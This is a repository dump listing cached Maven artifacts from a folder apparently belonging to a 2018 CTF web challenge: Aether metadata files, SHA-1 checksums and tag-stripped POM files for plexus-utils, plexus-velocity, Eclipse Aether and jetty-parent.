================================================ 57d2292858b9a695b97c9cf426a50d1e9b3b9292 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 plexus-utils-1.5.15.jar>central= plexus-utils-1.5.15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.jar.sha1 ================================================ c689598ce1eb94c304817877ed15911099972526 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom ================================================ 4.0.0 org.codehaus.plexus plexus 2.0.2 ../pom/pom.xml plexus-utils 1.5.15 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.15 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.15 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.15 JIRA http://jira.codehaus.org/browse/PLXUTILS org.codehaus.plexus plexus-interpolation 1.11 provided org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-classworlds org.apache.maven.plugins maven-shade-plugin 1.0.1 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} org.apache.maven.plugins maven-shade-plugin shade shade org.codehaus.plexus:plexus-interpolation org.codehaus.plexus.interpolation true org.apache.maven.plugins maven-release-plugin true https://svn.codehaus.org/plexus/plexus-utils/tags/ -Prelease release org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api/ maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom.sha1 ================================================ b1f42bc7ebc5be3c0414f67fe2daf3b183acd74f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:46 CST 2018 plexus-utils-1.5.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom ================================================ plexus org.codehaus.plexus 1.0.11 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.5.5 http://plexus.codehaus.org/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.5 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.5 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.5 maven-clean-plugin 2.2 maven-compiler-plugin 2.0.2 1.3 1.3 maven-jar-plugin 2.1 maven-resources-plugin 2.2 maven-surefire-plugin 2.3 true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} maven-shade-plugin 1.0.1 shade shade org.codehaus.plexus:plexus-interpolation org.codehaus.plexus.interpolation true maven-release-plugin 2.0-beta-7 true https://svn.codehaus.org/plexus/plexus-utils/tags/ -Prelease release maven-source-plugin attach-sources jar maven-javadoc-plugin attach-javadocs jar junit junit 3.8.1 test org.codehaus.plexus plexus-interpolation 1.0 provided maven-javadoc-plugin maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom.sha1 ================================================ 6d04eaae6db5f8d879332da294a46df0fd81450f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:51 CST 2018 plexus-utils-1.5.6.pom>central= plexus-utils-1.5.6.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.jar.sha1 ================================================ 8fb6b798a4036048b3005e058553bf21a87802ed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom ================================================ plexus org.codehaus.plexus 1.0.12 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.5.6 http://plexus.codehaus.org/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.6 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.6 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.6 maven-clean-plugin 2.2 maven-compiler-plugin 2.0.2 1.3 1.3 maven-jar-plugin 2.1 maven-resources-plugin 2.2 maven-surefire-plugin 2.3 true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} maven-shade-plugin 1.0.1 shade shade org.codehaus.plexus:plexus-interpolation org.codehaus.plexus.interpolation true maven-release-plugin 2.0-beta-7 true https://svn.codehaus.org/plexus/plexus-utils/tags/ -Prelease release maven-source-plugin attach-sources jar maven-javadoc-plugin attach-javadocs jar org.codehaus.plexus plexus-interpolation 1.0 provided junit junit 3.8.1 test maven-javadoc-plugin http://java.sun.com/javase/6/docs/api/ maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom.sha1 ================================================ 2df1a6c4e7b1849a10643a37a6f66b21d49bd643 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:40 CST 2018 plexus-utils-1.5.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom ================================================ plexus org.codehaus.plexus 2.0.2 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.5.8 A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.8 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.8 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.8 maven-antrun-plugin 1.1 maven-assembly-plugin 2.2-beta-2 maven-clean-plugin 2.2 maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} maven-dependency-plugin 2.0 maven-deploy-plugin 2.4 maven-ear-plugin 2.3.1 maven-ejb-plugin 2.1 maven-install-plugin 2.2 maven-jar-plugin 2.2 maven-javadoc-plugin 2.5 maven-plugin-plugin 2.4.3 maven-rar-plugin 2.2 maven-shade-plugin 1.0.1 maven-release-plugin 2.0-beta-7 deploy true maven-resources-plugin 2.3 ${project.build.sourceEncoding} maven-site-plugin 2.0-beta-7 maven-source-plugin 2.0.4 maven-surefire-plugin 2.4.3 maven-war-plugin 2.1-alpha-1 maven-compiler-plugin 1.3 1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} maven-shade-plugin shade shade org.codehaus.plexus:plexus-interpolation org.codehaus.plexus.interpolation true maven-release-plugin true https://svn.codehaus.org/plexus/plexus-utils/tags/ -Prelease release maven-source-plugin attach-sources jar maven-javadoc-plugin attach-javadocs jar org.codehaus.plexus plexus-interpolation 1.3 provided junit junit 3.8.2 test maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api/ maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom.sha1 ================================================ 7deaa90e5725075c9f9fb5a2cfbef75c86a5e5b5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:09 CST 2018 plexus-utils-2.0.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom ================================================ 4.0.0 org.codehaus.plexus plexus 2.0.6 ../pom/pom.xml plexus-utils 2.0.4 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.4 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.4 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-2.0.4 JIRA http://jira.codehaus.org/browse/PLXUTILS org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/plexus/plexus-utils/tags/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom.sha1 ================================================ ffd8cee6475d101a5697091e1c18b0d08e3a8ff8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 plexus-utils-2.0.5.jar>central= plexus-utils-2.0.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.jar.sha1 ================================================ 7841ba10ea46c9611ce702c3833ff9fccc8ae6eb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus 2.0.6 ../pom/pom.xml plexus-utils 2.0.5 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.5 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.5 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-2.0.5 JIRA http://jira.codehaus.org/browse/PLXUTILS org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/plexus/plexus-utils/tags/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.5/plexus-utils-2.0.5.pom.sha1 ================================================ 51785edd83de609389ba142c9516752a4246aefc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:28 CST 2018 plexus-utils-3.0.jar>central= plexus-utils-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.jar.sha1 ================================================ d63aa0daf60d573bada235e2b4207617dcf24959 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 16 org.codehaus.plexus plexus-utils 3.0 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:git:git@github.com:sonatype/plexus-utils.git scm:git:git@github.com:sonatype/plexus-utils.git http://github.com/sonatype/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus junit junit 3.8.2 test org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 org.apache.maven.plugins maven-release-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-deploy-plugin 2.6 org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0/plexus-utils-3.0.pom.sha1 ================================================ fe3d8457b0cf4e219fd8e3edad5054b8e38f17b0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:00 CST 2018 plexus-utils-3.0.10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/plexus-utils-3.0.10.pom ================================================ 4.0.0 org.codehaus.plexus plexus 3.3 plexus-utils 3.0.10 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:git:git@github.com:sonatype/plexus-utils.git scm:git:git@github.com:sonatype/plexus-utils.git http://github.com/sonatype/plexus-utils plexus-utils-3.0.10 JIRA http://jira.codehaus.org/browse/PLXUTILS org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} org.apache.maven.plugins maven-enforcer-plugin 1.1.1 enforce-java enforce 1.7.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.10/plexus-utils-3.0.10.pom.sha1 ================================================ c70632156c3f19286424329d71e82b2026b90471 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:40 CST 2018 plexus-utils-3.0.5.jar>central= plexus-utils-3.0.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.jar.sha1 ================================================ 3da9c286180a66aba197db8ffa7bbdc756c3e31f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus 3.1 plexus-utils 3.0.5 Plexus Common Utilities A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils scm:git:git@github.com:sonatype/plexus-utils.git scm:git:git@github.com:sonatype/plexus-utils.git http://github.com/sonatype/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS org.apache.maven.plugins maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/3.0.5/plexus-utils-3.0.5.pom.sha1 ================================================ 880976a01d8f71ced7c8da841e571479bb7b6021 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:03 CST 2018 plexus-velocity-1.1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/plexus-velocity-1.1.7.pom ================================================ plexus-components org.codehaus.plexus 1.1.12 4.0.0 plexus-velocity Plexus Velocity Component 1.1.7 org.codehaus.plexus plexus-container-default 1.0-alpha-20 commons-collections commons-collections 2.0 velocity velocity 1.4 scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.7 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.7 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-velocity-1.1.7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.7/plexus-velocity-1.1.7.pom.sha1 ================================================ 659f8ef80ef0cc3d101e63535b9c5a39f7bc4b3e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 plexus-velocity-1.1.8.jar>central= plexus-velocity-1.1.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.jar.sha1 ================================================ d6b34818c82cd2e2f7bc75a2852d31283d154291 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.pom ================================================ 4.0.0 plexus-components org.codehaus.plexus 1.1.15 plexus-velocity 1.1.8 Plexus Velocity Component scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.8 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-velocity-1.1.8 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-velocity-1.1.8 org.codehaus.plexus plexus-container-default commons-collections commons-collections 3.1 velocity velocity 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-velocity/1.1.8/plexus-velocity-1.1.8.pom.sha1 ================================================ 7023c6a73051a5addaa912405ef0a95e56c64c7e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:30 CST 2018 aether-0.9.0.M2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/aether-0.9.0.M2.pom ================================================ 4.0.0 org.eclipse.aether aether 0.9.0.M2 pom Aether The parent and aggregator for the repository system. http://www.eclipse.org/aether/ 2010 The Eclipse Foundation http://www.eclipse.org/ Aether Developer List https://dev.eclipse.org/mailman/listinfo/aether-dev https://dev.eclipse.org/mailman/listinfo/aether-dev aether-dev@eclipse.org http://dev.eclipse.org/mhonarc/lists/aether-dev/ Aether User List https://dev.eclipse.org/mailman/listinfo/aether-users https://dev.eclipse.org/mailman/listinfo/aether-users aether-users@eclipse.org http://dev.eclipse.org/mhonarc/lists/aether-users/ Aether Commit Notification List https://dev.eclipse.org/mailman/listinfo/aether-commit https://dev.eclipse.org/mailman/listinfo/aether-commit http://dev.eclipse.org/mhonarc/lists/aether-commit/ Aether CI Notification List https://dev.eclipse.org/mailman/listinfo/aether-build https://dev.eclipse.org/mailman/listinfo/aether-build http://dev.eclipse.org/mhonarc/lists/aether-build/ scm:git:git://git.eclipse.org/gitroot/aether/aether-core.git scm:git:ssh://git.eclipse.org/gitroot/aether/aether-core.git http://git.eclipse.org/c/aether/aether-core.git/tree/ bugzilla https://bugs.eclipse.org/bugs/buglist.cgi?query_format=specific&order=relevance+desc&bug_status=__open__&product=Aether Hudson https://hudson.eclipse.org/hudson/job/aether-core-nightly/ sonatype-nexus-staging https://oss.sonatype.org/service/local/staging/deploy/maven2/ ${sonatypeOssDistMgmtSnapshotsId} ${sonatypeOssDistMgmtSnapshotsUrl} Eclipse Public License, Version 1.0 http://www.eclipse.org/legal/epl-v10.html repo bbentmann Benjamin Bentmann Project Lead jvanzyl Jason Van Zyl Project Lead aether-api aether-spi aether-util aether-impl aether-test-util aether-connector-file aether-connector-wagon aether-connector-asynchttpclient UTF-8 UTF-8 true sonatype-nexus-snapshots https://oss.sonatype.org/content/repositories/snapshots/ org.eclipse.aether aether-api ${project.version} org.eclipse.aether aether-spi ${project.version} org.eclipse.aether aether-util ${project.version} org.eclipse.aether aether-impl ${project.version} org.eclipse.aether aether-connector-file ${project.version} org.eclipse.aether aether-connector-wagon ${project.version} org.eclipse.aether aether-connector-asynchttpclient ${project.version} org.eclipse.aether aether-test-util ${project.version} test junit junit 4.8.2 test javax.inject javax.inject 1 provided org.codehaus.plexus plexus-component-annotations 1.5.5 provided org.sonatype.sisu sisu-inject-plexus 2.3.0 org.slf4j slf4j-api 1.6.2 org.apache.felix maven-bundle-plugin 2.3.7 ${project.url} ${project.name} (Incubation) ${bundle.symbolicName} ${bundle.osgiVersion} create-manifest process-test-classes manifest org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 2.5.1 1.5 1.5 org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-enforcer-plugin 1.2 org.apache.maven.plugins maven-gpg-plugin 1.2 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.2 ${project.build.outputDirectory}/META-INF/MANIFEST.MF org.apache.maven.plugins maven-javadoc-plugin 2.8.1 false http://download.oracle.com/javase/6/docs/api/ noextend a Restriction: noimplement a Restriction: noinstantiate a Restriction: nooverride a Restriction: noreference a Restriction: API org.eclipse.aether* SPI org.eclipse.aether.spi* Utilities org.eclipse.aether.util* Repository Connectors org.eclipse.aether.connector* Implementation org.eclipse.aether.impl* Internals org.eclipse.aether.internal* org.apache.maven.plugins maven-release-plugin 2.1 true forked-path false deploy javadoc:aggregate-jar assembly:attached -Psonatype-oss-release org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.plugins maven-source-plugin 2.1.2 2 ${project.name} Sources (Incubation) http://www.eclipse.org/legal/epl-v10.html ${bundle.symbolicName}.source ${project.organization.name} ${bundle.osgiVersion} ${bundle.symbolicName};version="${bundle.osgiVersion}";roots:="." org.apache.maven.plugins maven-surefire-plugin 2.9 -Xmx128m ${surefire.redirectTestOutputToFile} ${project.build.directory}/surefire-tmp org.codehaus.mojo animal-sniffer-maven-plugin 1.9 org.codehaus.mojo.signature java15 1.0 check-java-1.5-compat process-classes check org.codehaus.mojo clirr-maven-plugin 2.3 org.codehaus.plexus plexus-component-metadata 1.5.5 generate-components-xml process-classes generate-metadata org.sonatype.plugins sisu-maven-plugin 1.1 generate-index process-classes main-index org.apache.maven.plugins maven-enforcer-plugin qa verify enforce project.version [0-9]+\.[0-9]+\.[0-9]+((.*-SNAPSHOT)|(\.M[0-9]+)|(\.RC[0-9]+)|(\.v[0-9]{8})) Project version must be either X.Y.Z.M#, X.Y.Z.RC# or X.Y.Z.v######## true *:* org.eclipse.aether org.slf4j:slf4j-api:1.6.2 junit:junit:4.8.2 org.codehaus.plexus:plexus-component-annotations:1.5.5 org.codehaus.plexus:plexus-utils:2.1 org.codehaus.plexus:plexus-classworlds:2.4 org.apache.maven.wagon:wagon-provider-api:1.0 com.ning:async-http-client:1.7.6 io.netty:netty:3.4.4.Final org.sonatype.sisu:sisu-inject-plexus:2.3.0 org.sonatype.sisu:sisu-guice:3.1.0 org.sonatype.sisu:sisu-guava:0.9.9 javax.inject:javax.inject:1 org.sonatype.sisu:sisu-inject-bean:2.3.0 ch.qos.logback:*:*:*:test org.apache.maven.wagon:wagon-http-lightweight:*:*:test org.eclipse.jetty:*:*:*:test org.mortbay.jetty:*:*:*:test org.sonatype.http-testing-harness:*:*:*:test javax.servlet:*:*:*:test org.codehaus.mojo build-helper-maven-plugin 1.7 osgi-timestamp initialize timestamp-property bundle.osgiTimestamp yyyyMMdd-HHmm UTC en osgi-version initialize regex-property bundle.osgiVersion ${project.version} -SNAPSHOT .${bundle.osgiTimestamp} false sonatype-oss-release org.apache.maven.plugins maven-source-plugin attach-sources package jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs package jar default-cli false org.apache.maven.plugins maven-gpg-plugin sign-artifacts verify sign org.apache.maven.plugins maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.2 attach-source-release-distro package single true source-release gnu default-cli false src/main/assembly/bin.xml snapshot-sources org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork clirr org.codehaus.mojo clirr-maven-plugin check-api-compat verify check-no-fork m2e m2e.version org.eclipse.m2e lifecycle-mapping 1.0.0 org.sonatype.plugins sisu-maven-plugin [1.1,) test-index main-index org.codehaus.mojo build-helper-maven-plugin [1.7,) regex-property timestamp-property true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/aether-0.9.0.M2.pom.sha1 ================================================ e44bcfab62cbf0ad4f15a47aa9cc48368db2dc6d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 aether-util-0.9.0.M2.jar>central= aether-util-0.9.0.M2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.jar.sha1 ================================================ b957089deb654647da320ad7507b0a4b5ce23813 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.pom ================================================ 4.0.0 org.eclipse.aether aether 0.9.0.M2 aether-util Aether Utilities A collection of utility classes to ease usage of the repository system. org.eclipse.aether.util org.eclipse.aether aether-api org.eclipse.aether aether-test-util test junit junit test org.codehaus.mojo animal-sniffer-maven-plugin org.codehaus.mojo clirr-maven-plugin org.apache.felix maven-bundle-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.pom.sha1 ================================================ 938d4a7468d46180927cd14ccec6a5accfc428af ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:03:12 CST 2018 jetty-parent-14.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/jetty-parent-14.pom ================================================ 4.0.0 org.eclipse.jetty jetty-parent pom Jetty :: Administrative Parent Administrative parent pom for Jetty modules 14 http://www.eclipse.org/jetty 1995 bugzilla https://bugs.eclipse.org/bugs/enter_bug.cgi?product=Jetty Jetty Developer Mailing List http://dev.eclipse.org/mhonarc/lists/jetty-dev/maillist.html https://dev.eclipse.org/mailman/listinfo/jetty-dev https://dev.eclipse.org/mailman/listinfo/jetty-dev Jetty Commit Mailing List http://dev.eclipse.org/mhonarc/lists/jetty-commit/maillist.html https://dev.eclipse.org/mailman/listinfo/jetty-commit https://dev.eclipse.org/mailman/listinfo/jetty-commit Jetty Users Mailing List http://dev.eclipse.org/mhonarc/lists/jetty-users/maillist.html https://dev.eclipse.org/mailman/listinfo/jetty-users https://dev.eclipse.org/mailman/listinfo/jetty-users Jetty Announce Mailing List http://dev.eclipse.org/mhonarc/lists/jetty-announce/maillist.html https://dev.eclipse.org/mailman/listinfo/jetty-announce https://dev.eclipse.org/mailman/listinfo/jetty-announce Jetty @ codehaus User List http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org http://archive.jetty.codehaus.org/user Jetty @ codehaus Developer List http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org http://archive.jetty.codehaus.org/dev Jetty @ codehaus Announce List http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org http://archive.jetty.codehaus.org/announce Jetty @ codehaus Commit List http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org http://archive.jetty.codehaus.org/scm Defunct - Jetty Discuss List http://lists.sourceforge.net/lists/listinfo/jetty-discuss 